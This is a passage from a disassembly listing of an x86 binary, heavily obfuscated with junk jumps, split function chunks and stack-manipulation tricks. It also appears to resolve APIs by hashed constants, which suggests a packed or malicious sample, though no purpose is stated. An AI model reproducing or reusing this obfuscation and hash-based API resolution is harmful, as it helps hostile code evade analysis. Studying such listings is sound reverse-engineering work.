; FUNCTION CHUNK AT 0040ECCE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040EDAE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040EF76 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FB88 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040FBED SIZE 00000005 BYTES

		push	ebp
		jmp	loc_409706
sub_40988C	endp


; =============== S U B	R O U T	I N E =======================================



sub_409892	proc near		; CODE XREF: sub_4092B8:loc_40B4B5p
					; o45kw3t9:0040CD1Dj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004099B2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AE96 SIZE 00000009 BYTES

		mov	[esp+0], ecx
		pop	ecx
		mov	byte ptr [eax],	0C3h
		call	nullsub_4
		call	nullsub_134
		push	esi
		push	3E88A001h
		jmp	loc_4099B2
sub_409892	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E562


loc_4098AE:				; CODE XREF: sub_40E562:loc_40BE86j
					; sub_40E562+18ADj
		mov	eax, [ebp-108h]
		mov	byte ptr [ebp+eax-100h], 0
		push	2010h
		push	0
		jmp	loc_40B83D
; END OF FUNCTION CHUNK	FOR sub_40E562
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_4098C8:				; CODE XREF: sub_40909E:loc_40EBD1j
		mov	eax, [ebp-104h]
		jmp	loc_40A758
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------
		cmp	ecx, ebx
		jmp	loc_409591
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B160


loc_4098DA:				; CODE XREF: sub_40B160:loc_40FAEEj
		sub	eax, 1B2D26C6h
		jmp	loc_40C955
; END OF FUNCTION CHUNK	FOR sub_40B160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_4098E5:				; CODE XREF: sub_409FA8+36E9j
		sub	al, 99h
		push	offset loc_4097E0
		jmp	nullsub_47
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------


loc_4098F1:				; CODE XREF: o45kw3t9:00409BCFj
		ja	loc_40ACF5

; =============== S U B	R O U T	I N E =======================================



sub_4098F7	proc near		; CODE XREF: o45kw3t9:00409C8Ap
		mov	[esp+0], ecx


loc_4098FA:				; CODE XREF: o45kw3t9:0040DF16j
		pop	ecx
		push	esi
		push	0BB83286Ch
		pop	esi
sub_4098F7	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409902:				; CODE XREF: sub_40D740:loc_40D10Dj
		jmp	loc_40DF5D
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_409907:				; CODE XREF: o45kw3t9:loc_40EA8Cj
		jnz	loc_409DFC
		jmp	loc_40BB12
; ---------------------------------------------------------------------------
		add	eax, esi
; START	OF FUNCTION CHUNK FOR sub_40DCEE


loc_409914:				; CODE XREF: sub_40DCEE:loc_40EB22j
		adc	esi, 0AEB9A570h
		jmp	sub_40D402
; END OF FUNCTION CHUNK	FOR sub_40DCEE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_409920:				; CODE XREF: o45kw3t9:00409B7Ej
					; o45kw3t9:loc_40A15Dj
		jmp	locret_40D27E

; =============== S U B	R O U T	I N E =======================================



sub_409925	proc near		; CODE XREF: sub_409FA8-5EBp
					; o45kw3t9:0040A0D8j

; FUNCTION CHUNK AT 0040DC8B SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0040DD43 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, ebp
		add	eax, 1C27C58Ch
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40DC8B
		jmp	loc_40DD43
sub_409925	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_409941:				; CODE XREF: o45kw3t9:0040C82Ej
		shr	edi, 1Fh


loc_409944:				; CODE XREF: o45kw3t9:loc_40AF49j
		call	sub_40FF8D
; START	OF FUNCTION CHUNK FOR sub_40AE3B


loc_409949:				; CODE XREF: o45kw3t9:loc_40922Dj
					; sub_40AE3B+18j
		jmp	loc_40E70B
; END OF FUNCTION CHUNK	FOR sub_40AE3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B179


loc_40994E:				; CODE XREF: sub_40B179+6j
		push	offset loc_40EF56
		jmp	nullsub_14
; END OF FUNCTION CHUNK	FOR sub_40B179
; ---------------------------------------------------------------------------


loc_409958:				; CODE XREF: o45kw3t9:0040B2EBj
		jge	loc_40C357

; =============== S U B	R O U T	I N E =======================================



sub_40995E	proc near		; CODE XREF: sub_40B0D1+51Cp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00409176 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B0B2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040BA27 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D07E SIZE 0000001E BYTES

		mov	[esp+0], ebx
		pop	ebx
		push	edx
		jmp	loc_40BA27
sub_40995E	endp

; ---------------------------------------------------------------------------
		cmp	ecx, esi
		jmp	loc_41024D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_40996F:				; CODE XREF: sub_40A259:loc_40E6E3j
		shl	eax, 8
		mov	edx, [ebp-20h]
		movzx	edx, byte ptr [edx]
		or	eax, edx
		mov	[ebp-1Ch], eax
		jmp	loc_40925E
; END OF FUNCTION CHUNK	FOR sub_40A259
; ---------------------------------------------------------------------------


loc_409982:				; CODE XREF: o45kw3t9:0040BE81j
		jz	loc_40C472
		ror	ebp, 1Eh
		add	ebp, 0BF65A2C4h
		jmp	loc_40C472
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FB55


loc_409997:				; CODE XREF: sub_40FB55+19j
		jmp	loc_40AB69
; END OF FUNCTION CHUNK	FOR sub_40FB55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3E5


loc_40999C:				; CODE XREF: sub_40B3E5+2BB8j
		jmp	nullsub_115
; END OF FUNCTION CHUNK	FOR sub_40B3E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FD16


loc_4099A1:				; CODE XREF: sub_40FD16j
		xchg	ebp, esi
		call	sub_40B0A6
; END OF FUNCTION CHUNK	FOR sub_40FD16
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_4099A8:				; CODE XREF: sub_40ABFA+17j
		jmp	loc_40CE4C
; END OF FUNCTION CHUNK	FOR sub_40ABFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_4099AD:				; CODE XREF: sub_40C674-2AC7j
		jmp	nullsub_91
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409892


loc_4099B2:				; CODE XREF: sub_409892+17j
		jmp	loc_40AE96
; END OF FUNCTION CHUNK	FOR sub_409892
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_4099B7:				; CODE XREF: sub_409FA8:loc_40B2DFj
		xor	eax, 5407C50Fh
		call	sub_409925


loc_4099C2:				; CODE XREF: o45kw3t9:0040FECBj
		jmp	loc_40C16E
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------


loc_4099C7:				; CODE XREF: o45kw3t9:0040EE39j
		jmp	locret_40D016
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A107


loc_4099CC:				; CODE XREF: sub_40A107:loc_40A113j
		pop	eax
		and	eax, 1148F89Eh
		add	eax, 0FEF8AC44h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_409513
		jmp	loc_409CC2
; END OF FUNCTION CHUNK	FOR sub_40A107
; ---------------------------------------------------------------------------


loc_4099E8:				; CODE XREF: o45kw3t9:loc_40C85Aj
		mov	edx, 90F68180h
		call	sub_40988C
		mov	ds:dword_40F1D8, eax
		jmp	loc_40E39E
; ---------------------------------------------------------------------------


loc_4099FC:				; CODE XREF: o45kw3t9:0040C7E0j
		mov	ds:dword_40F9F4, eax
		call	sub_40CEFE
		mov	edx, 0A2CD59D9h
		call	sub_40988C
		mov	ds:dword_40F1D4, eax
		jmp	loc_40C7F0
; ---------------------------------------------------------------------------


loc_409A1A:				; CODE XREF: o45kw3t9:0040FA9Bj
		jnb	sub_40B0D1
		mov	ebp, ebx
		jmp	sub_40AC2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409AD7


loc_409A27:				; CODE XREF: sub_409AD7+2A19j
					; o45kw3t9:0040EB68j
		jp	loc_40E8FE
		ror	edi, 1Fh
		or	ebp, 88BA860Eh


loc_409A36:				; CODE XREF: sub_4092B8+2j
					; sub_4092B8:loc_40A901j ...
		jmp	loc_40EB3F
; END OF FUNCTION CHUNK	FOR sub_409AD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4092B8


loc_409A3B:				; CODE XREF: sub_4092B8+Ej
					; sub_410069-5554j
		mov	ecx, offset sub_409A44
		xchg	ecx, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_4092B8

; =============== S U B	R O U T	I N E =======================================



sub_409A44	proc near		; DATA XREF: sub_4092B8:loc_409A3Bo

; FUNCTION CHUNK AT 0040E441 SIZE 00000005 BYTES

		pop	ebp
		jmp	loc_40E441
sub_409A44	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_409A4A:				; DATA XREF: sub_40ABFA-112Do
		jnz	loc_40BEA3
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 4
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+8]


loc_409A60:				; CODE XREF: o45kw3t9:00409AC4j
		mov	[edx-18h], eax
		jmp	loc_40DB72
; ---------------------------------------------------------------------------
		xchg	ebp, ecx


loc_409A6A:				; CODE XREF: o45kw3t9:0040ED45j
		call	sub_40C525


loc_409A6F:				; DATA XREF: sub_40FF8D:loc_40EB93o
		add	eax, ebp
		add	eax, 5D1973AFh
		mov	eax, [eax]
		call	sub_409FCF

; =============== S U B	R O U T	I N E =======================================



sub_409A7E	proc near		; CODE XREF: sub_40E893:loc_40E0BFp
					; o45kw3t9:0040FC9Cj
		xchg	eax, [esp+0]
		pop	eax
		ror	eax, 11h
		push	eax
		retn
sub_409A7E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_409A87:				; CODE XREF: sub_40B76E+4B78j
		jmp	loc_40DB1C
; END OF FUNCTION CHUNK	FOR sub_40B76E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FB55


loc_409A8C:				; CODE XREF: sub_40FB55-4FE2j
		jmp	loc_40D4FB
; END OF FUNCTION CHUNK	FOR sub_40FB55

; =============== S U B	R O U T	I N E =======================================



sub_409A91	proc near		; CODE XREF: sub_409180:loc_4094D0j
					; sub_40980B+5p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040C98A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FC16 SIZE 00000007 BYTES

		push	edi
		mov	edi, ebp
		xchg	edi, [esp+4+var_4]
		jmp	loc_40C98A
sub_409A91	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		not	eax
		jmp	sub_40A5DE
; ---------------------------------------------------------------------------
		mov	edx, 17B3C1CFh
		call	sub_40CF59


loc_409AAD:				; CODE XREF: o45kw3t9:loc_40E7F8j
		push	1DB4968Eh
		jmp	loc_40FD94
; ---------------------------------------------------------------------------


loc_409AB7:				; DATA XREF: sub_40ABFA+2255o
		or	dword ptr [eax-8], 4
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+8]
		jmp	loc_409A60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_409AC9:				; CODE XREF: sub_40ABFA:loc_40AC01j
		cmp	dword ptr [ebp-14h], 4
		push	offset loc_409A4A
		jmp	loc_40917B
; END OF FUNCTION CHUNK	FOR sub_40ABFA

; =============== S U B	R O U T	I N E =======================================



sub_409AD7	proc near		; DATA XREF: sub_40C8A6-50Fo

; FUNCTION CHUNK AT 00409A27 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040BA6F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040C4EA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040DBCA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040E8FE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040EB3F SIZE 0000000B BYTES

		mov	edx, 0F75CA70h
		call	sub_40D402


loc_409AE1:				; CODE XREF: sub_410069+1A3j
		jmp	loc_40DBCA
sub_409AD7	endp

; ---------------------------------------------------------------------------


loc_409AE6:				; CODE XREF: o45kw3t9:0040DD84j
		jmp	loc_40E602
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E014


loc_409AEB:				; CODE XREF: sub_40E014-E26j
		jmp	loc_40B40F
; END OF FUNCTION CHUNK	FOR sub_40E014
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E9DE


loc_409AF0:				; CODE XREF: sub_40E9DE+16j
		add	ecx, 97A333A4h
		mov	[ecx], eax
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_40E9DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DCEE


loc_409AFA:				; CODE XREF: sub_40DCEE+A6Dj
		jmp	loc_40EB09
; END OF FUNCTION CHUNK	FOR sub_40DCEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_409AFF:				; CODE XREF: o45kw3t9:loc_40C2F6j
					; sub_40B76E+4B6Cj
		ror	eax, 0Dh
		jmp	loc_40DE6A
; END OF FUNCTION CHUNK	FOR sub_40B76E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EED4


loc_409B07:				; CODE XREF: sub_40EED4+14j
		mov	eax, [eax]
		add	eax, [ebp-4]
; END OF FUNCTION CHUNK	FOR sub_40EED4
; START	OF FUNCTION CHUNK FOR sub_40A8E9


loc_409B0C:				; CODE XREF: sub_40A8E9+3560j
		add	eax, 18h
		mov	[ebp-10h], eax
		jmp	loc_40D067
; END OF FUNCTION CHUNK	FOR sub_40A8E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEFE


loc_409B17:				; CODE XREF: sub_40CEFE+1Dj
		jnz	loc_40C1E0
		lea	edx, [ebp+var_14]
		mov	eax, offset dword_40E41C
		call	sub_40C298
		lea	eax, [ebp+var_14]
		push	eax
		jmp	loc_40C773
; END OF FUNCTION CHUNK	FOR sub_40CEFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409B33:				; CODE XREF: sub_40D740:loc_40B27Ej
		mov	eax, [ebp-8]
		shl	eax, 3
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shr	eax, 0Bh
		jmp	loc_409545
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BFBB


loc_409B47:				; CODE XREF: sub_40BFBB+17j
		or	ecx, ecx
		jz	loc_40D1B2
		call	sub_40AAA3
		jnz	loc_40BFC5
		mov	ecx, [ebx+edx-4]
		jmp	loc_40CC69
; END OF FUNCTION CHUNK	FOR sub_40BFBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA7D


loc_409B63:				; CODE XREF: sub_40DA7D+Bj
		mov	cl, [ebp-0Bh]
		xor	edx, edx
		mov	dl, [ebp-9]
		shr	edx, cl
		or	eax, edx
		mov	edx, [ebp-8]
		mov	[edx], al
		jmp	loc_40B6D8
; END OF FUNCTION CHUNK	FOR sub_40DA7D
; ---------------------------------------------------------------------------


loc_409B79:				; CODE XREF: o45kw3t9:0040D53Dj
		push	offset sub_40A8B8
		jmp	loc_409920
; ---------------------------------------------------------------------------
		ror	esi, 8
		xor	ebx, 864A0BCDh
		jmp	sub_40EFC7
; ---------------------------------------------------------------------------


loc_409B91:				; CODE XREF: o45kw3t9:0040C05Cj
		xchg	edx, [esp]
		call	eax
		mov	[ebp-4], eax
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_409B99:				; CODE XREF: sub_40C674-737j
					; o45kw3t9:0040C9BDj ...
		dec	ds:dword_40CFE8
		mov	eax, [ebp-4]
		pop	ecx
		mov	ebp, offset nullsub_1
		push	offset loc_40AB38
		jmp	loc_4099AD
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
		jo	loc_40DA1E
		or	ebp, 0F17B0CA2h
		jmp	sub_40CF59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40915B


loc_409BC4:				; CODE XREF: sub_40915B+Cj
		jmp	loc_41021B
; END OF FUNCTION CHUNK	FOR sub_40915B
; ---------------------------------------------------------------------------
		cmp	esi, 19EAA2A1h
		jmp	loc_4098F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409BD4:				; CODE XREF: sub_40D740:loc_40D8E1j
		mov	[esp+14h+var_14], eax
		xchg	ecx, eax
		mov	[ebp-4], eax
		push	0ED4D3FE0h
		pop	eax
		add	eax, 0F1E8AF6Ch
		push	offset loc_40A88A
		jmp	nullsub_51
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B1B3


loc_409BF2:				; CODE XREF: sub_40B1B3:loc_40E53Ej
		cmp	ds:dword_40E530, 0
		jz	loc_40FA74
		push	offset sub_40EDE4
		jmp	loc_4094B4
; END OF FUNCTION CHUNK	FOR sub_40B1B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_409C09:				; CODE XREF: sub_40A259+1CB9j
		call	sub_40E1D1
		call	sub_409600


loc_409C13:				; CODE XREF: sub_4101DB+6j
		jmp	loc_40FAC6
; END OF FUNCTION CHUNK	FOR sub_40A259
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409674


loc_409C18:				; CODE XREF: sub_409674+56A2j
		jmp	nullsub_81
; END OF FUNCTION CHUNK	FOR sub_409674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB3D


loc_409C1D:				; CODE XREF: sub_40DB3D:loc_40BE40j
		xor	[esp+0], eax
		push	eax
		mov	eax, esp
		push	offset sub_40B76E
		jmp	nullsub_122
; END OF FUNCTION CHUNK	FOR sub_40DB3D
; ---------------------------------------------------------------------------
		jo	loc_40DCF4
		jmp	loc_40B3E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_409C38:				; CODE XREF: sub_40ABFA+12B9j
		jz	loc_40B69D
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_40ED0B
		jmp	loc_40B69D
; ---------------------------------------------------------------------------


loc_409C53:				; CODE XREF: sub_40ABFA:loc_40BEA3j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jmp	loc_40D47F
; END OF FUNCTION CHUNK	FOR sub_40ABFA

; =============== S U B	R O U T	I N E =======================================



sub_409C62	proc near		; DATA XREF: sub_40A135+4018o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040C926 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040E3E0 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0041008A SIZE 00000006 BYTES

		mov	[ebp-9], al
		mov	al, [ebp-0Ah]
		and	al, 7
		mov	[ebp-0Bh], al
		xor	eax, eax
		mov	al, [ebp-0Bh]
		jmp	loc_40C926
sub_409C62	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	ebx, edx
		jmp	loc_409FCD
; ---------------------------------------------------------------------------


loc_409C7E:				; DATA XREF: sub_40FCF3o
		xchg	ebp, [esp]
		mov	ebp, [esp]
		mov	ebp, esp
		push	edx
		mov	[esp], ecx
		call	sub_4098F7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A416


loc_409C90:				; CODE XREF: sub_40A416:loc_409522j
		push	edx
		push	86864543h
		pop	edx
		sub	edx, 181EBD7Eh
		jmp	loc_40CC6E
; END OF FUNCTION CHUNK	FOR sub_40A416
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_409CA3:				; CODE XREF: o45kw3t9:0040DCA3j
		jmp	loc_40C36B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A91A


loc_409CA8:				; CODE XREF: sub_40A91A:loc_40D434j
		xchg	esi, [esp+0]
		call	sub_40D368
		push	0
		call	sub_40FD16
; END OF FUNCTION CHUNK	FOR sub_40A91A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B14E


loc_409CB8:				; CODE XREF: sub_40B14E+Dj
		jmp	loc_40CC0D
; END OF FUNCTION CHUNK	FOR sub_40B14E
; ---------------------------------------------------------------------------


loc_409CBD:				; CODE XREF: o45kw3t9:0040A87Aj
		jmp	loc_40A660
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A107


loc_409CC2:				; CODE XREF: sub_40A107-724j
		jmp	loc_40D760
; END OF FUNCTION CHUNK	FOR sub_40A107
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409416


loc_409CC7:				; CODE XREF: sub_409416+9j
		jmp	loc_40E518
; END OF FUNCTION CHUNK	FOR sub_409416

; =============== S U B	R O U T	I N E =======================================



sub_409CCC	proc near		; CODE XREF: sub_40A91A:loc_409E66p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040B89B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040C003 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DEE0 SIZE 00000017 BYTES

		push	0C1FE342Ah
		mov	[esp+4+var_4], ebp
		jmp	loc_40DEE0
sub_409CCC	endp

; ---------------------------------------------------------------------------


loc_409CD9:				; CODE XREF: o45kw3t9:0040BAC5j
		jo	loc_40B991
		jmp	loc_40E2E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EA96


loc_409CE4:				; CODE XREF: sub_40EA96+1j
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax


loc_409CEC:				; CODE XREF: o45kw3t9:loc_40B103j
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		push	offset loc_41004F
		jmp	nullsub_74
; END OF FUNCTION CHUNK	FOR sub_40EA96

; =============== S U B	R O U T	I N E =======================================



sub_409CFF	proc near		; DATA XREF: o45kw3t9:0040F0DAo

; FUNCTION CHUNK AT 0040BFA7 SIZE 0000000A BYTES

		jns	loc_40BFA7
		mov	eax, [esp+0]
		push	edx
		call	sub_40A416
		mov	eax, 0C7CC2482h
		call	sub_4090F8
		mov	ds:dword_407880+0Dh, eax
		push	offset sub_40BF99
		jmp	sub_40DBA2
sub_409CFF	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_409D29:				; CODE XREF: o45kw3t9:0040CBE6j
		jmp	loc_40BCD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_409D2E:				; CODE XREF: sub_40EC83-2B6Bj
		xor	eax, 800108DCh
		popf
		call	sub_40B0F3
; END OF FUNCTION CHUNK	FOR sub_40EC83
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409D3A:				; CODE XREF: sub_40D740+128Aj
		jmp	loc_40D942
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E159


loc_409D3F:				; CODE XREF: sub_40E159:loc_40E169j
		jmp	loc_40B44C
; END OF FUNCTION CHUNK	FOR sub_40E159
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D587


loc_409D44:				; CODE XREF: sub_40D587-1882j
		jmp	loc_40EAEA
; END OF FUNCTION CHUNK	FOR sub_40D587
; ---------------------------------------------------------------------------
		sub	esi, 5F4558E5h
		mov	ebp, [ebx]
		jmp	sub_40CC58
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B7A3


loc_409D57:				; CODE XREF: sub_40B7A3+9j
		jmp	nullsub_17
; END OF FUNCTION CHUNK	FOR sub_40B7A3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E7B2


loc_409D5D:				; CODE XREF: sub_40E7B2:loc_40F124j
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_4094A4
		jmp	loc_40BDA1
; ---------------------------------------------------------------------------


loc_409D6F:				; CODE XREF: sub_40E7B2+4j
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		push	offset loc_410278
		jmp	loc_40C56E
; END OF FUNCTION CHUNK	FOR sub_40E7B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EABC


loc_409D7F:				; CODE XREF: sub_40EABC:loc_40CB3Aj
		mov	ecx, [edi]
		jmp	loc_40D658
; END OF FUNCTION CHUNK	FOR sub_40EABC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0E0


loc_409D86:				; CODE XREF: sub_40E0E0:loc_40E414j
		xor	edx, edx
		push	edx
		push	eax


loc_409D8A:				; CODE XREF: sub_40E0E0-3B69j
		mov	eax, [ebp-18h]
		add	eax, eax
		cdq
		jmp	loc_40FC5C
; END OF FUNCTION CHUNK	FOR sub_40E0E0
; ---------------------------------------------------------------------------
		test	ebp, 4B4759A7h
		jmp	loc_40A8D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A299


loc_409DA0:				; CODE XREF: sub_40A299:loc_40BBE0j
		mov	esi, eax
		jmp	loc_40BC76
; END OF FUNCTION CHUNK	FOR sub_40A299
; ---------------------------------------------------------------------------
		add	eax, edi
		jmp	loc_40B38C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409DAE:				; CODE XREF: sub_40D740:loc_40D77Dj
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_40ACD8
		call	sub_40CEFE
		mov	edx, 3CC6743Ch
		push	esi
		push	0EC961CAAh
		jmp	loc_409742
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
		jo	loc_40CA1C
		jmp	loc_40CF7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8E9


loc_409DD8:				; CODE XREF: sub_40A8E9+2790j
		dec	eax
		test	eax, eax
		jl	loc_40A7A0
		call	sub_40E0E0
; END OF FUNCTION CHUNK	FOR sub_40A8E9
; START	OF FUNCTION CHUNK FOR sub_40B23F


loc_409DE6:				; CODE XREF: sub_40B23F-B0Aj
		jmp	loc_40B03E
; END OF FUNCTION CHUNK	FOR sub_40B23F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC98


loc_409DEB:				; CODE XREF: sub_40CC98-27A0j
		jmp	loc_40C96A
; END OF FUNCTION CHUNK	FOR sub_40CC98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_409DF0:				; CODE XREF: sub_40A3A2+Dj
		jmp	loc_4092A8
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_409DF5:				; CODE XREF: sub_409FA8-19Cj
		jmp	loc_40EE93
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------


loc_409DFA:				; CODE XREF: o45kw3t9:loc_40CA1Cj
		mov	[ebx], eax


loc_409DFC:				; CODE XREF: o45kw3t9:loc_409907j
		mov	eax, 400h
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_409E01:				; CODE XREF: sub_409FA8:loc_40A408j
		call	sub_40D439
		push	esi
		push	6AE1B1C0h
		jmp	loc_409DF5
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F02A


loc_409E11:				; CODE XREF: sub_40F02A:loc_409518j
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shl	eax, 0Ah
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shr	eax, 6
